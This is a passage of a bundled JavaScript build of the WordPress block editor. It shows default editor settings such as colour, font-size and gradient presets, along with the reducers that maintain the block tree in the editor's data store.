7962 ColorPanel: () => (ColorPanel),
7963 DimensionsPanel: () => (DimensionsPanel),
7964 FiltersPanel: () => (FiltersPanel),
7965 GlobalStylesContext: () => (GlobalStylesContext),
7966 ImageSettingsPanel: () => (ImageSettingsPanel),
7967 TypographyPanel: () => (TypographyPanel),
7968 areGlobalStyleConfigsEqual: () => (areGlobalStyleConfigsEqual),
7969 getBlockCSSSelector: () => (getBlockCSSSelector),
7970 getBlockSelectors: () => (getBlockSelectors),
7971 getGlobalStylesChanges: () => (getGlobalStylesChanges),
7972 getLayoutStyles: () => (getLayoutStyles),
7973 toStyles: () => (toStyles),
7974 useGlobalSetting: () => (useGlobalSetting),
7975 useGlobalStyle: () => (useGlobalStyle),
7976 useGlobalStylesOutput: () => (useGlobalStylesOutput),
7977 useGlobalStylesOutputWithConfig: () => (useGlobalStylesOutputWithConfig),
7978 useGlobalStylesReset: () => (useGlobalStylesReset),
7979 useHasBackgroundPanel: () => (useHasBackgroundPanel),
7980 useHasBorderPanel: () => (useHasBorderPanel),
7981 useHasBorderPanelControls: () => (useHasBorderPanelControls),
7982 useHasColorPanel: () => (useHasColorPanel),
7983 useHasDimensionsPanel: () => (useHasDimensionsPanel),
7984 useHasFiltersPanel: () => (useHasFiltersPanel),
7985 useHasImageSettingsPanel: () => (useHasImageSettingsPanel),
7986 useHasTypographyPanel: () => (useHasTypographyPanel),
7987 useSettingsForBlockElement: () => (useSettingsForBlockElement)
7988});
7989
7990;// external "ReactJSXRuntime"
7991const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
7992;// external ["wp","blocks"]
7993const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
7994;// external ["wp","element"]
7995const external_wp_element_namespaceObject = window["wp"]["element"];
7996;// external ["wp","data"]
7997const external_wp_data_namespaceObject = window["wp"]["data"];
7998;// external ["wp","compose"]
7999const external_wp_compose_namespaceObject = window["wp"]["compose"];
8000;// external ["wp","hooks"]
8001const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
8002;// ./node_modules/@wordpress/block-editor/build-module/components/block-edit/context.js
8003
8004const mayDisplayControlsKey = Symbol("mayDisplayControls");
8005const mayDisplayParentControlsKey = Symbol("mayDisplayParentControls");
8006const blockEditingModeKey = Symbol("blockEditingMode");
8007const blockBindingsKey = Symbol("blockBindings");
8008const isPreviewModeKey = Symbol("isPreviewMode");
8009const DEFAULT_BLOCK_EDIT_CONTEXT = {
8010 name: "",
8011 isSelected: false
8012};
8013const Context = (0,external_wp_element_namespaceObject.createContext)(DEFAULT_BLOCK_EDIT_CONTEXT);
8014Context.displayName = "BlockEditContext";
8015const { Provider } = Context;
8016function useBlockEditContext() {
8017 return (0,external_wp_element_namespaceObject.useContext)(Context);
8018}
8019
8020
8021;// external ["wp","deprecated"]
8022const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
8023var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
8024// EXTERNAL MODULE: ./node_modules/fast-deep-equal/es6/index.js
8025var es6 = __webpack_require__(7734);
8026var es6_default = /*#__PURE__*/__webpack_require__.n(es6);
8027;// external ["wp","i18n"]
8028const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
8029;// ./node_modules/@wordpress/block-editor/build-module/store/defaults.js
8030
8031const PREFERENCES_DEFAULTS = {
8032 insertUsage: {}
8033};
8034const SETTINGS_DEFAULTS = {
8035 alignWide: false,
8036 supportsLayout: true,
8037 // colors setting is not used anymore now defaults are passed from theme.json on the server and core has its own defaults.
8038 // The setting is only kept for backward compatibility purposes.
8039 colors: [
8040 {
8041 name: (0,external_wp_i18n_namespaceObject.__)("Black"),
8042 slug: "black",
8043 color: "#000000"
8044 },
8045 {
8046 name: (0,external_wp_i18n_namespaceObject.__)("Cyan bluish gray"),
8047 slug: "cyan-bluish-gray",
8048 color: "#abb8c3"
8049 },
8050 {
8051 name: (0,external_wp_i18n_namespaceObject.__)("White"),
8052 slug: "white",
8053 color: "#ffffff"
8054 },
8055 {
8056 name: (0,external_wp_i18n_namespaceObject.__)("Pale pink"),
8057 slug: "pale-pink",
8058 color: "#f78da7"
8059 },
8060 { name: (0,external_wp_i18n_namespaceObject.__)("Vivid red"), slug: "vivid-red", color: "#cf2e2e" },
8061 {
8062 name: (0,external_wp_i18n_namespaceObject.__)("Luminous vivid orange"),
8063 slug: "luminous-vivid-orange",
8064 color: "#ff6900"
8065 },
8066 {
8067 name: (0,external_wp_i18n_namespaceObject.__)("Luminous vivid amber"),
8068 slug: "luminous-vivid-amber",
8069 color: "#fcb900"
8070 },
8071 {
8072 name: (0,external_wp_i18n_namespaceObject.__)("Light green cyan"),
8073 slug: "light-green-cyan",
8074 color: "#7bdcb5"
8075 },
8076 {
8077 name: (0,external_wp_i18n_namespaceObject.__)("Vivid green cyan"),
8078 slug: "vivid-green-cyan",
8079 color: "#00d084"
8080 },
8081 {
8082 name: (0,external_wp_i18n_namespaceObject.__)("Pale cyan blue"),
8083 slug: "pale-cyan-blue",
8084 color: "#8ed1fc"
8085 },
8086 {
8087 name: (0,external_wp_i18n_namespaceObject.__)("Vivid cyan blue"),
8088 slug: "vivid-cyan-blue",
8089 color: "#0693e3"
8090 },
8091 {
8092 name: (0,external_wp_i18n_namespaceObject.__)("Vivid purple"),
8093 slug: "vivid-purple",
8094 color: "#9b51e0"
8095 }
8096 ],
8097 // fontSizes setting is not used anymore now defaults are passed from theme.json on the server and core has its own defaults.
8098 // The setting is only kept for backward compatibility purposes.
8099 fontSizes: [
8100 {
8101 name: (0,external_wp_i18n_namespaceObject._x)("Small", "font size name"),
8102 size: 13,
8103 slug: "small"
8104 },
8105 {
8106 name: (0,external_wp_i18n_namespaceObject._x)("Normal", "font size name"),
8107 size: 16,
8108 slug: "normal"
8109 },
8110 {
8111 name: (0,external_wp_i18n_namespaceObject._x)("Medium", "font size name"),
8112 size: 20,
8113 slug: "medium"
8114 },
8115 {
8116 name: (0,external_wp_i18n_namespaceObject._x)("Large", "font size name"),
8117 size: 36,
8118 slug: "large"
8119 },
8120 {
8121 name: (0,external_wp_i18n_namespaceObject._x)("Huge", "font size name"),
8122 size: 42,
8123 slug: "huge"
8124 }
8125 ],
8126 // Image default size slug.
8127 imageDefaultSize: "large",
8128 imageSizes: [
8129 { slug: "thumbnail", name: (0,external_wp_i18n_namespaceObject.__)("Thumbnail") },
8130 { slug: "medium", name: (0,external_wp_i18n_namespaceObject.__)("Medium") },
8131 { slug: "large", name: (0,external_wp_i18n_namespaceObject.__)("Large") },
8132 { slug: "full", name: (0,external_wp_i18n_namespaceObject.__)("Full Size") }
8133 ],
8134 // Allow plugin to disable Image Editor if need be.
8135 imageEditing: true,
8136 // This is current max width of the block inner area
8137 // It's used to constraint image resizing and this value could be overridden later by themes
8138 maxWidth: 580,
8139 // Allowed block types for the editor, defaulting to true (all supported).
8140 allowedBlockTypes: true,
8141 // Maximum upload size in bytes allowed for the site.
8142 maxUploadFileSize: 0,
8143 // List of allowed mime types and file extensions.
8144 allowedMimeTypes: null,
8145 // Allows to disable block locking interface.
8146 canLockBlocks: true,
8147 // Allows to disable Openverse media category in the inserter.
8148 enableOpenverseMediaCategory: true,
8149 clearBlockSelection: true,
8150 __experimentalCanUserUseUnfilteredHTML: false,
8151 __experimentalBlockDirectory: false,
8152 __mobileEnablePageTemplates: false,
8153 __experimentalBlockPatterns: [],
8154 __experimentalBlockPatternCategories: [],
8155 isPreviewMode: false,
8156 // These settings will be completely revamped in the future.
8157 // The goal is to evolve this into an API which will instruct
8158 // the block inspector to animate transitions between what it
8159 // displays based on the relationship between the selected block
8160 // and its parent, and only enable it if the parent is controlling
8161 // its children blocks.
8162 blockInspectorAnimation: {
8163 animationParent: "core/navigation",
8164 "core/navigation": { enterDirection: "leftToRight" },
8165 "core/navigation-submenu": { enterDirection: "rightToLeft" },
8166 "core/navigation-link": { enterDirection: "rightToLeft" },
8167 "core/search": { enterDirection: "rightToLeft" },
8168 "core/social-links": { enterDirection: "rightToLeft" },
8169 "core/page-list": { enterDirection: "rightToLeft" },
8170 "core/spacer": { enterDirection: "rightToLeft" },
8171 "core/home-link": { enterDirection: "rightToLeft" },
8172 "core/site-title": { enterDirection: "rightToLeft" },
8173 "core/site-logo": { enterDirection: "rightToLeft" }
8174 },
8175 generateAnchors: false,
8176 // gradients setting is not used anymore now defaults are passed from theme.json on the server and core has its own defaults.
8177 // The setting is only kept for backward compatibility purposes.
8178 gradients: [
8179 {
8180 name: (0,external_wp_i18n_namespaceObject.__)("Vivid cyan blue to vivid purple"),
8181 gradient: "linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%)",
8182 slug: "vivid-cyan-blue-to-vivid-purple"
8183 },
8184 {
8185 name: (0,external_wp_i18n_namespaceObject.__)("Light green cyan to vivid green cyan"),
8186 gradient: "linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%)",
8187 slug: "light-green-cyan-to-vivid-green-cyan"
8188 },
8189 {
8190 name: (0,external_wp_i18n_namespaceObject.__)("Luminous vivid amber to luminous vivid orange"),
8191 gradient: "linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%)",
8192 slug: "luminous-vivid-amber-to-luminous-vivid-orange"
8193 },
8194 {
8195 name: (0,external_wp_i18n_namespaceObject.__)("Luminous vivid orange to vivid red"),
8196 gradient: "linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%)",
8197 slug: "luminous-vivid-orange-to-vivid-red"
8198 },
8199 {
8200 name: (0,external_wp_i18n_namespaceObject.__)("Very light gray to cyan bluish gray"),
8201 gradient: "linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%)",
8202 slug: "very-light-gray-to-cyan-bluish-gray"
8203 },
8204 {
8205 name: (0,external_wp_i18n_namespaceObject.__)("Cool to warm spectrum"),
8206 gradient: "linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%)",
8207 slug: "cool-to-warm-spectrum"
8208 },
8209 {
8210 name: (0,external_wp_i18n_namespaceObject.__)("Blush light purple"),
8211 gradient: "linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%)",
8212 slug: "blush-light-purple"
8213 },
8214 {
8215 name: (0,external_wp_i18n_namespaceObject.__)("Blush bordeaux"),
8216 gradient: "linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%)",
8217 slug: "blush-bordeaux"
8218 },
8219 {
8220 name: (0,external_wp_i18n_namespaceObject.__)("Luminous dusk"),
8221 gradient: "linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%)",
8222 slug: "luminous-dusk"
8223 },
8224 {
8225 name: (0,external_wp_i18n_namespaceObject.__)("Pale ocean"),
8226 gradient: "linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%)",
8227 slug: "pale-ocean"
8228 },
8229 {
8230 name: (0,external_wp_i18n_namespaceObject.__)("Electric grass"),
8231 gradient: "linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%)",
8232 slug: "electric-grass"
8233 },
8234 {
8235 name: (0,external_wp_i18n_namespaceObject.__)("Midnight"),
8236 gradient: "linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%)",
8237 slug: "midnight"
8238 }
8239 ],
8240 __unstableResolvedAssets: { styles: [], scripts: [] }
8241};
8242
8243
8244;// ./node_modules/@wordpress/block-editor/build-module/store/array.js
8245function insertAt(array, elements, index) {
8246 return [
8247 ...array.slice(0, index),
8248 ...Array.isArray(elements) ? elements : [elements],
8249 ...array.slice(index)
8250 ];
8251}
8252function moveTo(array, from, to, count = 1) {
8253 const withoutMovedElements = [...array];
8254 withoutMovedElements.splice(from, count);
8255 return insertAt(
8256 withoutMovedElements,
8257 array.slice(from, from + count),
8258 to
8259 );
8260}
8261
8262
8263;// ./node_modules/@wordpress/block-editor/build-module/store/private-keys.js
8264const globalStylesDataKey = Symbol("globalStylesDataKey");
8265const globalStylesLinksDataKey = Symbol("globalStylesLinks");
8266const selectBlockPatternsKey = Symbol("selectBlockPatternsKey");
8267const reusableBlocksSelectKey = Symbol("reusableBlocksSelect");
8268const sectionRootClientIdKey = Symbol("sectionRootClientIdKey");
8269const mediaEditKey = Symbol("mediaEditKey");
8270
8271
8272;// external ["wp","privateApis"]
8273const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
8274;// ./node_modules/@wordpress/block-editor/build-module/lock-unlock.js
8275
8276const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
8277 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
8278 "@wordpress/block-editor"
8279);
8280
8281
8282;// ./node_modules/@wordpress/block-editor/build-module/store/reducer.js
8283
8284
8285
8286
8287
8288
8289
8290
8291
8292const { isContentBlock } = unlock(external_wp_blocks_namespaceObject.privateApis);
8293const identity = (x) => x;
8294function mapBlockOrder(blocks2, rootClientId = "") {
8295 const result = /* @__PURE__ */ new Map();
8296 const current = [];
8297 result.set(rootClientId, current);
8298 blocks2.forEach((block) => {
8299 const { clientId, innerBlocks } = block;
8300 current.push(clientId);
8301 mapBlockOrder(innerBlocks, clientId).forEach(
8302 (order, subClientId) => {
8303 result.set(subClientId, order);
8304 }
8305 );
8306 });
8307 return result;
8308}
8309function mapBlockParents(blocks2, rootClientId = "") {
8310 const result = [];
8311 const stack = [[rootClientId, blocks2]];
8312 while (stack.length) {
8313 const [parent, currentBlocks] = stack.shift();
8314 currentBlocks.forEach(({ innerBlocks, ...block }) => {
8315 result.push([block.clientId, parent]);
8316 if (innerBlocks?.length) {
8317 stack.push([block.clientId, innerBlocks]);
8318 }
8319 });
8320 }
8321 return result;
8322}
8323function flattenBlocks(blocks2, transform = identity) {
8324 const result = [];
8325 const stack = [...blocks2];
8326 while (stack.length) {
8327 const { innerBlocks, ...block } = stack.shift();
8328 stack.push(...innerBlocks);
8329 result.push([block.clientId, transform(block)]);
8330 }
8331 return result;
8332}
8333function getFlattenedClientIds(blocks2) {
8334 const result = {};
8335 const stack = [...blocks2];
8336 while (stack.length) {
8337 const { innerBlocks, ...block } = stack.shift();
8338 stack.push(...innerBlocks);
8339 result[block.clientId] = true;
8340 }
8341 return result;
8342}
8343function getFlattenedBlocksWithoutAttributes(blocks2) {
8344 return flattenBlocks(blocks2, (block) => {
8345 const { attributes, ...restBlock } = block;
8346 return restBlock;
8347 });
8348}
8349function getFlattenedBlockAttributes(blocks2) {
8350 return flattenBlocks(blocks2, (block) => block.attributes);
8351}
8352function hasSameKeys(a, b) {
8353 return es6_default()(Object.keys(a), Object.keys(b));
8354}
8355function isUpdatingSameBlockAttribute(action, lastAction) {
8356 return action.type === "UPDATE_BLOCK_ATTRIBUTES" && lastAction !== void 0 && lastAction.type === "UPDATE_BLOCK_ATTRIBUTES" && es6_default()(action.clientIds, lastAction.clientIds) && hasSameKeys(action.attributes, lastAction.attributes);
8357}
8358function updateBlockTreeForBlocks(state, blocks2) {
8359 const treeToUpdate = state.tree;
8360 const stack = [...blocks2];
8361 const flattenedBlocks = [...blocks2];
8362 while (stack.length) {
8363 const block = stack.shift();
8364 stack.push(...block.innerBlocks);
8365 flattenedBlocks.push(...block.innerBlocks);
8366 }
8367 for (const block of flattenedBlocks) {
8368 treeToUpdate.set(block.clientId, {});
8369 }
8370 for (const block of flattenedBlocks) {
8371 treeToUpdate.set(
8372 block.clientId,
8373 Object.assign(treeToUpdate.get(block.clientId), {
8374 ...state.byClientId.get(block.clientId),
8375 attributes: state.attributes.get(block.clientId),
8376 innerBlocks: block.innerBlocks.map(
8377 (subBlock) => treeToUpdate.get(subBlock.clientId)
8378 )
8379 })
8380 );
8381 }
8382}
8383function updateParentInnerBlocksInTree(state, updatedClientIds, updateChildrenOfUpdatedClientIds = false) {
8384 const treeToUpdate = state.tree;
8385 const uncontrolledParents = /* @__PURE__ */ new Set([]);
8386 const controlledParents = /* @__PURE__ */ new Set();
8387 for (const clientId of updatedClientIds) {
8388 let current = updateChildrenOfUpdatedClientIds ? clientId : state.parents.get(clientId);
8389 do {
8390 if (state.controlledInnerBlocks[current]) {
8391 controlledParents.add(current);
8392 break;
8393 } else {
8394 uncontrolledParents.add(current);
8395 current = state.parents.get(current);
8396 }
8397 } while (current !== void 0);
8398 }
8399 for (const clientId of uncontrolledParents) {
8400 treeToUpdate.set(clientId, { ...treeToUpdate.get(clientId) });
8401 }
8402 for (const clientId of uncontrolledParents) {
8403 treeToUpdate.get(clientId).innerBlocks = (state.order.get(clientId) || []).map((subClientId) => treeToUpdate.get(subClientId));
8404 }
8405 for (const clientId of controlledParents) {
8406 treeToUpdate.set("controlled||" + clientId, {
8407 innerBlocks: (state.order.get(clientId) || []).map(
8408 (subClientId) => treeToUpdate.get(subClientId)
8409 )
8410 });
8411 }
8412}
8413const withBlockTree = (reducer) => (state = {}, action) => {
8414 const newState = reducer(state, action);
8415 if (newState === state) {
8416 return state;
8417 }
8418 newState.tree = state.tree ? state.tree : /* @__PURE__ */ new Map();
8419 switch (action.type) {
8420 case "RECEIVE_BLOCKS":
8421 case "INSERT_BLOCKS": {
8422 newState.tree = new Map(newState.tree);
8423 updateBlockTreeForBlocks(newState, action.blocks);
8424 updateParentInnerBlocksInTree(
8425 newState,
8426 action.rootClientId ? [action.rootClientId] : [""],
8427 true
8428 );
8429 break;
8430 }
8431 case "UPDATE_BLOCK":
8432 newState.tree = new Map(newState.tree);
8433 newState.tree.set(action.clientId, {
8434 ...newState.tree.get(action.clientId),
8435 ...newState.byClientId.get(action.clientId),
8436 attributes: newState.attributes.get(action.clientId)
8437 });
8438 updateParentInnerBlocksInTree(
8439 newState,
8440 [action.clientId],
8441 false
8442 );
8443 break;
8444 case "SYNC_DERIVED_BLOCK_ATTRIBUTES":
8445 case "UPDATE_BLOCK_ATTRIBUTES": {
8446 newState.tree = new Map(newState.tree);
8447 action.clientIds.forEach((clientId) => {
8448 newState.tree.set(clientId, {
8449 ...newState.tree.get(clientId),
8450 attributes: newState.attributes.get(clientId)
8451 });
8452 });
8453 updateParentInnerBlocksInTree(
8454 newState,
8455 action.clientIds,
8456 false
8457 );
8458 break;
8459 }
8460 case "REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN": {
8461 const inserterClientIds = getFlattenedClientIds(
8462 action.blocks
8463 );
8464 newState.tree = new Map(newState.tree);
8465 action.replacedClientIds.forEach((clientId) => {
8466 newState.tree.delete(clientId);
8467 if (!inserterClientIds[clientId]) {
8468 newState.tree.delete("controlled||" + clientId);
8469 }
8470 });
8471 updateBlockTreeForBlocks(newState, action.blocks);
8472 updateParentInnerBlocksInTree(
8473 newState,
8474 action.blocks.map((b) => b.clientId),
8475 false
8476 );
8477 const parentsOfRemovedBlocks2 = [];
8478 for (const clientId of action.clientIds) {
8479 const parentId = state.parents.get(clientId);
8480 if (parentId !== void 0 && (parentId === "" || newState.byClientId.get(parentId))) {
8481 parentsOfRemovedBlocks2.push(parentId);
8482 }
8483 }
8484 updateParentInnerBlocksInTree(
8485 newState,
8486 parentsOfRemovedBlocks2,
8487 true
8488 );
8489 break;
8490 }
8491 case "REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN":
8492 const parentsOfRemovedBlocks = [];
8493 for (const clientId of action.clientIds) {
8494 const parentId = state.parents.get(clientId);
8495 if (parentId !== void 0 && (parentId === "" || newState.byClientId.get(parentId))) {
8496 parentsOfRemovedBlocks.push(parentId);
8497 }
8498 }
8499 newState.tree = new Map(newState.tree);
8500 action.removedClientIds.forEach((clientId) => {
8501 newState.tree.delete(clientId);
8502 newState.tree.delete("controlled||" + clientId);
8503 });
8504 updateParentInnerBlocksInTree(
8505 newState,
8506 parentsOfRemovedBlocks,
8507 true
8508 );
8509 break;
8510 case "MOVE_BLOCKS_TO_POSITION": {
8511 const updatedBlockUids = [];
8512 if (action.fromRootClientId) {
8513 updatedBlockUids.push(action.fromRootClientId);
8514 } else {
8515 updatedBlockUids.push("");
8516 }
8517 if (action.toRootClientId) {
8518 updatedBlockUids.push(action.toRootClientId);
8519 }
8520 newState.tree = new Map(newState.tree);
8521 updateParentInnerBlocksInTree(
8522 newState,
8523 updatedBlockUids,
8524 true
8525 );
8526 break;
8527 }
8528 case "MOVE_BLOCKS_UP":
8529 case "MOVE_BLOCKS_DOWN": {
8530 const updatedBlockUids = [
8531 action.rootClientId ? action.rootClientId : ""
8532 ];
8533 newState.tree = new Map(newState.tree);
8534 updateParentInnerBlocksInTree(
8535 newState,
8536 updatedBlockUids,
8537 true
8538 );
8539 break;
8540 }
8541 case "SAVE_REUSABLE_BLOCK_SUCCESS": {
8542 const updatedBlockUids = [];
8543 newState.attributes.forEach((attributes, clientId) => {
8544 if (newState.byClientId.get(clientId).name === "core/block" && attributes.ref === action.updatedId) {
8545 updatedBlockUids.push(clientId);
8546 }
8547 });
8548 newState.tree = new Map(newState.tree);
8549 updatedBlockUids.forEach((clientId) => {
8550 newState.tree.set(clientId, {
8551 ...newState.byClientId.get(clientId),
8552 attributes: newState.attributes.get(clientId),
8553 innerBlocks: newState.tree.get(clientId).innerBlocks
8554 });
8555 });
8556 updateParentInnerBlocksInTree(
8557 newState,
8558 updatedBlockUids,
8559 false
8560 );
8561 }
8562 }
8563 return newState;
8564};
8565function withPersistentBlockChange(reducer) {
8566 let lastAction;
8567 let markNextChangeAsNotPersistent = false;
8568 let explicitPersistent;
8569 return (state, action) => {
8570 let nextState = reducer(state, action);
8571 let nextIsPersistentChange;
8572 if (action.type === "SET_EXPLICIT_PERSISTENT") {
8573 explicitPersistent = action.isPersistentChange;
8574 nextIsPersistentChange = state.isPersistentChange ?? true;
8575 }
8576 if (explicitPersistent !== void 0) {
8577 nextIsPersistentChange = explicitPersistent;
8578 return nextIsPersistentChange === nextState.isPersistentChange ? nextState : {
8579 ...nextState,
8580 isPersistentChange: nextIsPersistentChange
8581 };
8582 }
8583 const isExplicitPersistentChange = action.type === "MARK_LAST_CHANGE_AS_PERSISTENT" || markNextChangeAsNotPersistent;
8584 if (state === nextState && !isExplicitPersistentChange) {
8585 markNextChangeAsNotPersistent = action.type === "MARK_NEXT_CHANGE_AS_NOT_PERSISTENT";
8586 nextIsPersistentChange = state?.isPersistentChange ?? true;
8587 if (state.isPersistentChange === nextIsPersistentChange) {
8588 return state;
8589 }
8590 return {
8591 ...nextState,
8592 isPersistentChange: nextIsPersistentChange
8593 };
8594 }
8595 nextState = {
8596 ...nextState,
8597 isPersistentChange: isExplicitPersistentChange ? !markNextChangeAsNotPersistent : !isUpdatingSameBlockAttribute(action, lastAction)
8598 };
8599 lastAction = action;
8600 markNextChangeAsNotPersistent = action.type === "MARK_NEXT_CHANGE_AS_NOT_PERSISTENT";
8601 return nextState;
8602 };
8603}
8604function withIgnoredBlockChange(reducer) {
8605 const IGNORED_ACTION_TYPES = /* @__PURE__ */ new Set(["RECEIVE_BLOCKS"]);
8606 return (state, action) => {
8607 const nextState = reducer(state, action);
8608 if (nextState !== state) {
8609 nextState.isIgnoredChange = IGNORED_ACTION_TYPES.has(action.type);
8610 }
8611 return nextState;
8612 };
8613}
8614const withInnerBlocksRemoveCascade = (reducer) => (state, action) => {
8615 const getAllChildren = (clientIds) => {
8616 let result = clientIds;
8617 for (let i = 0; i < result.length; i++) {
8618 if (!state.order.get(result[i]) || action.keepControlledInnerBlocks && action.keepControlledInnerBlocks[result[i]]) {
8619 continue;
8620 }
8621 if (result === clientIds) {
8622 result = [...result];
8623 }
8624 result.push(...state.order.get(result[i]));
8625 }
8626 return result;
8627 };
8628 if (state) {
8629 switch (action.type) {
8630 case "REMOVE_BLOCKS":
8631 action = {
8632 ...action,
8633 type: "REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN",
8634 removedClientIds: getAllChildren(action.clientIds)
8635 };
8636 break;
8637 case "REPLACE_BLOCKS":
8638 action = {
8639 ...action,
8640 type: "REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN",
8641 replacedClientIds: getAllChildren(action.clientIds)
8642 };
8643 break;
8644 }
8645 }
8646 return reducer(state, action);
8647};
8648const withBlockReset = (reducer) => (state, action) => {
8649 if (action.type === "RESET_BLOCKS") {
8650 const newState = {
8651 ...state,
8652 byClientId: new Map(
8653 getFlattenedBlocksWithoutAttributes(action.blocks)
8654 ),
8655 attributes: new Map(getFlattenedBlockAttributes(action.blocks)),
8656 order: mapBlockOrder(action.blocks),
8657 parents: new Map(mapBlockParents(action.blocks)),
8658 controlledInnerBlocks: {}
8659 };
8660 newState.tree = new Map(state?.tree);
8661 updateBlockTreeForBlocks(newState, action.blocks);
8662 newState.tree.set("", {
8663 innerBlocks: action.blocks.map(
8664 (subBlock) => newState.tree.get(subBlock.clientId)
8665 )
8666 });
8667 return newState;
8668 }
8669 return reducer(state, action);
8670};
8671const withReplaceInnerBlocks = (reducer) => (state, action) => {
8672 if (action.type !== "REPLACE_INNER_BLOCKS") {
8673 return reducer(state, action);
8674 }
8675 const nestedControllers = {};
8676 if (Object.keys(state.controlledInnerBlocks).length) {
8677 const stack = [...action.blocks];
8678 while (stack.length) {
8679 const { innerBlocks, ...block } = stack.shift();
8680 stack.push(...innerBlocks);
8681 if (!!state.controlledInnerBlocks[block.clientId]) {
8682 nestedControllers[block.clientId] = true;
8683 }
8684 }
8685 }
8686 let stateAfterBlocksRemoval = state;
8687 if (state.order.get(action.rootClientId)) {
8688 stateAfterBlocksRemoval = reducer(stateAfterBlocksRemoval, {
8689 type: "REMOVE_BLOCKS",
8690 keepControlledInnerBlocks: nestedControllers,
8691 clientIds: state.order.get(action.rootClientId)
8692 });
8693 }
8694 let stateAfterInsert = stateAfterBlocksRemoval;
8695 if (action.blocks.length) {
8696 stateAfterInsert = reducer(stateAfterInsert, {
8697 ...action,
8698 type: "INSERT_BLOCKS",
8699 index: 0
8700 });
8701 const stateAfterInsertOrder = new Map(stateAfterInsert.order);
8702 Object.keys(nestedControllers).forEach((key) => {
8703 if (state.order.get(key)) {
8704 stateAfterInsertOrder.set(key, state.order.get(key));
8705 }
8706 });
8707 stateAfterInsert.order = stateAfterInsertOrder;
8708 stateAfterInsert.tree = new Map(stateAfterInsert.tree);
8709 Object.keys(nestedControllers).forEach((_key) => {
8710 const key = `controlled||${_key}`;
8711 if (state.tree.has(key)) {
8712 stateAfterInsert.tree.set(key, state.tree.get(key));
8713 }
8714 });
8715 }
8716 return stateAfterInsert;
8717};
8718const withSaveReusableBlock = (reducer) => (state, action) => {
8719 if (state && action.type === "SAVE_REUSABLE_BLOCK_SUCCESS") {
8720 const { id, updatedId } = action;
8721 if (id === updatedId) {
8722 return state;
8723 }
8724 state = { ...state };
8725 state.attributes = new Map(state.attributes);
8726 state.attributes.forEach((attributes, clientId) => {
8727 const { name } = state.byClientId.get(clientId);
8728 if (name === "core/block" && attributes.ref === id) {
8729 state.attributes.set(clientId, {
8730 ...attributes,
8731 ref: updatedId
8732 });
8733 }
8734 });
8735 }
8736 return reducer(state, action);
8737};
8738const withResetControlledBlocks = (reducer) => (state, action) => {
8739 if (action.type === "SET_HAS_CONTROLLED_INNER_BLOCKS") {
8740 const tempState = reducer(state, {
8741 type: "REPLACE_INNER_BLOCKS",
8742 rootClientId: action.clientId,
8743 blocks: []
8744 });
8745 return reducer(tempState, action);
8746 }
8747 return reducer(state, action);
8748};
8749const blocks = (0,external_wp_compose_namespaceObject.pipe)(
8750 external_wp_data_namespaceObject.combineReducers,
8751 withSaveReusableBlock,
8752 // Needs to be before withBlockCache.
8753 withBlockTree,
8754 // Needs to be before withInnerBlocksRemoveCascade.
8755 withInnerBlocksRemoveCascade,
8756 withReplaceInnerBlocks,
8757 // Needs to be after withInnerBlocksRemoveCascade.
8758 withBlockReset,
8759 withPersistentBlockChange,
8760 withIgnoredBlockChange,
8761 withResetControlledBlocks
8762)({
8763 // The state is using a Map instead of a plain object for performance reasons.
8764 // You can run the "./test/performance.js" unit test to check the impact
8765 // code changes can have on this reducer.
8766 byClientId(state = /* @__PURE__ */ new Map(), action) {
8767 switch (action.type) {
8768 case "RECEIVE_BLOCKS":
8769 case "INSERT_BLOCKS": {
8770 const newState = new Map(state);
8771 getFlattenedBlocksWithoutAttributes(action.blocks).forEach(
8772 ([key, value]) => {
8773 newState.set(key, value);
8774 }
8775 );
8776 return newState;
8777 }
8778 case "UPDATE_BLOCK": {
8779 if (!state.has(action.clientId)) {
8780 return state;
8781 }
8782 const { attributes, ...changes } = action.updates;
8783 if (Object.values(changes).length === 0) {
8784 return state;
8785 }
8786 const newState = new Map(state);
8787 newState.set(action.clientId, {
8788 ...state.get(action.clientId),
8789 ...changes
8790 });
8791 return newState;
8792 }
8793 case "REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN": {
8794 if (!action.blocks) {
8795 return state;
8796 }
8797 const newState = new Map(state);
8798 action.replacedClientIds.forEach((clientId) => {
8799 newState.delete(clientId);
8800 });
8801 getFlattenedBlocksWithoutAttributes(action.blocks).forEach(
8802 ([key, value]) => {
8803 newState.set(key, value);
8804 }
8805 );
8806 return newState;
8807 }
8808 case "REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN": {
8809 const newState = new Map(state);
8810 action.removedClientIds.forEach((clientId) => {
8811 newState.delete(clientId);
8812 });
8813 return newState;
8814 }
8815 }
8816 return state;
8817 },
8818 // The state is using a Map instead of a plain object for performance reasons.
8819 // You can run the "./test/performance.js" unit test to check the impact
